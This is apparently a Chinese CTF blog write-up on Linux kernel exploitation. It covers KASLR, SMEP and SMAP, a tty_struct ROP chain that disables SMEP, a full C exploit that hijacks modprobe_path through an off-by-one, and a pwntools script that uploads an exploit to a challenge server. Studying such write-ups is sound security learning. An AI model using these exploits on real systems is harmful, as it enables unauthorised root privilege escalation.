趁热把kernel pwn的一些东西整理一下。
前置知识
KASLR
内核地址空间布局随机化,并不默认开启,需要在内核命令行中添加指定指令。
代码段和模块基地址
通过在启动时( CONFIG_RANDOMIZE_BASE)对内核的物理和虚拟地址的基地址进行重定位。另外,随机加载基地址意味着系统每次启动以相同的顺序加载相同的模块不会共享同样的基地址。
栈基
如果内核栈的基地址对于不同的进程甚至系统调用都不一样,攻击将变得很困难。
动态内存基
根据早期启动的初始化,太多的内核动态内存(比如kmalloc, vmalloc, etc)都有相对确定性的内存布局。如果这些区域的基地址在不同的启动是不同的,攻击会受挫,从而需要特定区域的信息泄漏。
SMEP&SMAP
SMEP是2012年在Intel Ivybridge中加入的特性,而SMAP则在2014年的Intel Broadwell中加入。其作用分别是禁止内核访问用户空间的数据和禁止内核执行用户空间的代码。当程序处于内核空间时,在保护开启的情况下,访问或执行内核数据将会发生错误。
CISCN 2017 babydriver
UAF
常规方法,利用UAF修改cred
以达到提权的目的。
Bypass SMEP & ret2usr
当内核开启了SMEP后,无法在内核空间直接执行用户空间代码,因此需要绕过SMEP保护来提权。系统根据CR4寄存器的第20位判断是否开启SMEP保护,CR4寄存器的值可通过诸如mov cr4, xxx
来修改。为了关闭SMEP,通常向CR4寄存器写入0x6f0。
通过open("/dev/ptmx", O_RDWR)
来让内核分配一个tty_struct
结构体:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| struct tty_struct { int magic; struct kref kref; struct device *dev; struct tty_driver *driver; const struct tty_operations *ops; int index; struct ld_semaphore ldisc_sem; struct tty_ldisc *ldisc; struct mutex atomic_write_lock; struct mutex legacy_mutex; struct mutex throttle_mutex; struct rw_semaphore termios_rwsem; struct mutex winsize_mutex; spinlock_t ctrl_lock; spinlock_t flow_lock; struct ktermios termios, termios_locked; struct termiox *termiox; char name[64]; struct pid *pgrp; struct pid *session; unsigned long flags; int count; struct winsize winsize; unsigned long stopped:1, flow_stopped:1, unused:BITS_PER_LONG - 2; int hw_stopped; unsigned long ctrl_status:8, packet:1, unused_ctrl:BITS_PER_LONG - 9; unsigned int receive_room; int flow_change; struct tty_struct *link; struct fasync_struct *fasync; wait_queue_head_t write_wait; wait_queue_head_t read_wait; struct work_struct hangup_work; void *disc_data; void *driver_data; spinlock_t files_lock; struct list_head tty_files; #define N_TTY_BUF_SIZE 4096 int closing; unsigned char *write_buf; int write_cnt; struct work_struct SAK_work; struct tty_port *port; } __randomize_layout;
|
主要关注第五个成员const struct tty_operations *ops
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| struct tty_operations { struct tty_struct * (*lookup)(struct tty_driver *driver, struct file *filp, int idx); int (*install)(struct tty_driver *driver, struct tty_struct *tty); void (*remove)(struct tty_driver *driver, struct tty_struct *tty); int (*open)(struct tty_struct * tty, struct file * filp); void (*close)(struct tty_struct * tty, struct file * filp); void (*shutdown)(struct tty_struct *tty); void (*cleanup)(struct tty_struct *tty); int (*write)(struct tty_struct * tty, const unsigned char *buf, int count); int (*put_char)(struct tty_struct *tty, unsigned char ch); void (*flush_chars)(struct tty_struct *tty); int (*write_room)(struct tty_struct *tty); int (*chars_in_buffer)(struct tty_struct *tty); int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); long (*compat_ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); void (*set_termios)(struct tty_struct *tty, struct ktermios * old); void (*throttle)(struct tty_struct * tty); void (*unthrottle)(struct tty_struct * tty); void (*stop)(struct tty_struct *tty); void (*start)(struct tty_struct *tty); void (*hangup)(struct tty_struct *tty); int (*break_ctl)(struct tty_struct *tty, int state); void (*flush_buffer)(struct tty_struct *tty); void (*set_ldisc)(struct tty_struct *tty); void (*wait_until_sent)(struct tty_struct *tty, int timeout); void (*send_xchar)(struct tty_struct *tty, char ch); int (*tiocmget)(struct tty_struct *tty); int (*tiocmset)(struct tty_struct *tty, unsigned int set, unsigned int clear); int (*resize)(struct tty_struct *tty, struct winsize *ws); int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew); int (*get_icount)(struct tty_struct *tty, struct serial_icounter_struct *icount); void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m); #ifdef CONFIG_CONSOLE_POLL int (*poll_init)(struct tty_driver *driver, int line, char *options); int (*poll_get_char)(struct tty_driver *driver, int line); void (*poll_put_char)(struct tty_driver *driver, int line, char ch); #endif int (*proc_show)(struct seq_file *, void *); } __randomize_layout;
|
它是一个函数表,当操作打开的/dev/ptmx
时,会调用tty_operations
中相应的函数。通过劫持函数表来stack pivot
进而通过ROP关闭SMEP并返回到用户空间代码。tty_struct
使用大小为0x400的slab
(0x200~0x400,具体原因可见slab的划分),但tty_operations
并不通过slab
分配。
解压bzImage获取vmlinux,使用Ropper获取gadget。
1 2 3
| sudo apt-get install linux-headers-$(uname -r) sudo /usr/src/linux-headers-$(uname -r)/scripts/extract-vmlinux bzImage > vmlinux Ropper.py --file vmlinux --nocolor > gadget
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| tty_operations.ioctl = xchg_esp_eax; fake_stack = mmap(xchg_esp_eax & 0xfffff000, 0x3000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); rop[0] = p_rxx; rop[1] = 0x6f0 ; rop[2] = write_cr4; rop[3] = get_root; rop[4] = swapgs; rop[5] = iretq; rop[6] = get_shell; rop[7] = user_cs; rop[8] = user_eflags; rop[9]= user_sp; rop[10]= user_ss; memcpy(xchg_esp_eax & 0xffffffff, data, sizeof(data));
|
ROP链如上,在对打开的/dev/ptmx
进行操作时,执行xchg eax, esp
,这个时候rax
的值是xchg eax, esp
的地址,使得栈被迁移到了我们可控的地方xchg_esp_eax & 0xffffffff
。0到2步即修改CR4的值来关闭SMEP,第3步提权,接着4到5步用于返回用户空间(使用iretq指令返回到用户空间,在执行iretq之前,执行swapgs【64bit下】指令。该指令通过用一个MSR中的值交换GS寄存器的内容,用来获取指向内核数据结构的指针,然后才能执行系统调用之类的内核空间程序)。
iretq
栈布局:
1 2 3 4 5 6 7 8 9 10 11
| |----------------------| | RIP |<== low mem |----------------------| | CS | |----------------------| | EFLAGS | |----------------------| | RSP | |----------------------| | SS |<== high mem |----------------------|
|
0CTF 2017 knote
[Working Hard]
Midnight Sun CTF Quals hfsipc
off-by-one
漏洞,能够向后溢出一个字节,slab的结构使得移出一个字节时能够直接修改fd
。通过修改fd
能够任意地址读写。
Hijack cred
找到cred所在的slab区域,将对应的0x3e8改为0x0。
Hijack modprobe
当系统遇到无法识别格式的程序时,会运行modprobe_path
指向的程序进行调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125
| #define _GNU_SOURCE #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #include <sched.h> #include <errno.h> #include <sys/mman.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <fcntl.h> #include <sys/ipc.h> #include <sys/wait.h> #include <sys/sem.h> #define CHANNEL_CREATE 0xABCD0001 #define CHANNEL_DELETE 0xABCD0002 #define CHANNEL_READ 0xABCD0003 #define CHANNEL_WRITE 0xABCD0004
struct channel_info { long id; long size; char *buffer; };
void create_channel(int fd, int id, int size) { struct channel_info channel;
channel.id = id; channel.size = size;
ioctl(fd, CHANNEL_CREATE, &channel); printf("[+] Create %d channel\n", id); }
void delete_channel(int fd, long id) { ioctl(fd, CHANNEL_DELETE, &id); printf("[+] Delete %d channel\n", id); }
void read_channel(int fd, int id, char *dest, int size) { struct channel_info channel;
channel.id = id; channel.size = size; channel.buffer = dest;
ioctl(fd, CHANNEL_READ, &channel); printf("[+] Read %d channel\n", id); }
void write_channel(int fd, int id, char *src, int size) { struct channel_info channel;
channel.id = id; channel.size = size; channel.buffer = src;
ioctl(fd, CHANNEL_WRITE, &channel); printf("[+] Write %d channel\n", id); }
void trigger() { system("/home/user/ll"); system("cat /home/user/flag"); }
void exploit() { system("echo -ne '#!/bin/sh\n/bin/cp /root/flag /home/user/flag\n/bin/chmod 777 /home/user/flag' > /home/user/getflag.sh"); system("chmod +x /home/user/getflag.sh"); system("echo -ne '\\xff\\xff\\xff\\xff' > /home/user/ll"); system("chmod +x /home/user/ll");
printf("[+] Open hfs device\n"); int fd = open("/dev/hfs", O_RDWR);
printf("[+] Create initial channels\n");
char buf[0x1000]; unsigned long long** payload = (unsigned long long**)buf; unsigned long long modprobe_addr = 0xffffffff81a3f7a0; memset(buf, 0, 0x1000); int count = 1; for (count = 1; count < 0x11; count++) { if (count == 5) { create_channel(fd, 0, 0x20); } else { create_channel(fd, count, 0x20); } } delete_channel(fd, 7); buf[0x20] = '\x20'; write_channel(fd, 6, buf, 0x21);
create_channel(fd, 0x20, 0x20);
for (count = 1; count < 5; count++) { delete_channel(fd, count); } payload[0] = 0x30; payload[1] = modprobe_addr; payload[2] = 0x100; write_channel(fd, 0x20, payload, 0x18); strcpy(buf, "/home/user/getflag.sh"); write_channel(fd, 0x30, buf, 0x20);
trigger();
close(fd); }
int main() { exploit(); return 0; }
|
*CTF 2019 hackme
比赛调的时候把smap关掉了,结果在开启kaslr+smep的情况下做出来了,但是没绕过smap。
参考Balsn的exploit:https://balsn.tw/ctf_writeup/
驱动中的读和写函数存在if检查绕过的情况,使得对slab的读、编辑操作可以向前溢出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| if ( v3 == 0x30002 ) { idx = 2LL * args; chunk_ptr = POOL[idx]; node_addr = &POOL[idx]; if ( chunk_ptr && offset + size <= (unsigned __int64)node_addr[1] ) { copy_from_user(offset + chunk_ptr, buffer, size); return 0LL; } } else if ( v3 == 0x30003 ) { idx = 2LL * args; chunk_ptr = POOL[idx]; node_addr = &POOL[idx]; if ( chunk_ptr ) { if ( offset + size <= (unsigned __int64)node_addr[1] ) { copy_to_user(buffer, offset + chunk_ptr, size); return 0LL; } } } return -1LL;
|
首先通过向前读来泄漏slab和内核堆地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| size_t get_heapaddr(int fd) { char buf[0x400]; memset(buf, '\x00', 0x400); add(fd, 0, buf, 0x100); add(fd, 1, buf, 0x100); add(fd, 2, buf, 0x100);
delete(fd, 0); delete(fd, 1);
show(fd, 2, readbuf, 0x100, -0x100);
delete(fd, 2);
return readbuf[0]; }
size_t get_kerneladdr(int fd) { char buf[0x400]; memset(buf, '\x00', 0x400);
add(fd, 0, buf, 0x400);
show(fd, 0, readbuf, 0xa00, -0xa00);
delete(fd, 0);
return readbuf[25]; }
|
SMEP开启的情况下
SMEP&SMAP开启的情况下
musl-gcc
从官网下载source code。
1 2 3
| sudo ./configure && sudo make install sudo cp ./obj/musl-gcc /bin/ musl-gcc --static -Os source.c -o output
|
马克一下大佬的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| from pwn import *
HOST = "35.221.78.115" PORT = 10022
USER = "pwn" PW = "pwn"
def compile(): log.info("Compile") os.system("musl-gcc -w -s -static -o3 pwn2.c -o pwn")
def exec_cmd(cmd): r.sendline(cmd) r.recvuntil("$ ")
def upload(): p = log.progress("Upload")
with open("pwn", "rb") as f: data = f.read()
encoded = base64.b64encode(data) r.recvuntil("$ ") for i in range(0, len(encoded), 300): p.status("%d / %d" % (i, len(encoded))) exec_cmd("echo \"%s\" >> benc" % (encoded[i:i+300])) exec_cmd("cat benc | base64 -d > bout") exec_cmd("chmod +x bout") p.success()
def exploit(r): compile() upload()
r.interactive()
return
if __name__ == "__main__": if len(sys.argv) > 1: session = ssh(USER, HOST, PORT, PW) r = session.run("/bin/sh") exploit(r) else: r = process("./startvm.sh") print util.proc.pidof(r) pause() exploit(r)
|
参考资料
https://bbs.pediy.com/thread-226696.htm
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/linux-kernel-rop-ropping-your-way-to-part-1/
https://hardenedlinux.github.io/system-security/2016/05/23/kernel_self_protection.html
https://blog.packagecloud.io/eng/2016/03/08/how-to-extract-and-disassmble-a-linux-kernel-image-vmlinuz/
https://xz.aliyun.com/t/2054
https://kileak.github.io/ctf/2019/xctf-hackme/
http://p4nda.top/2018/10/11/ciscn-2017-babydriver/
https://github.com/pwning/public-writeup/tree/master/0ctf2017/knote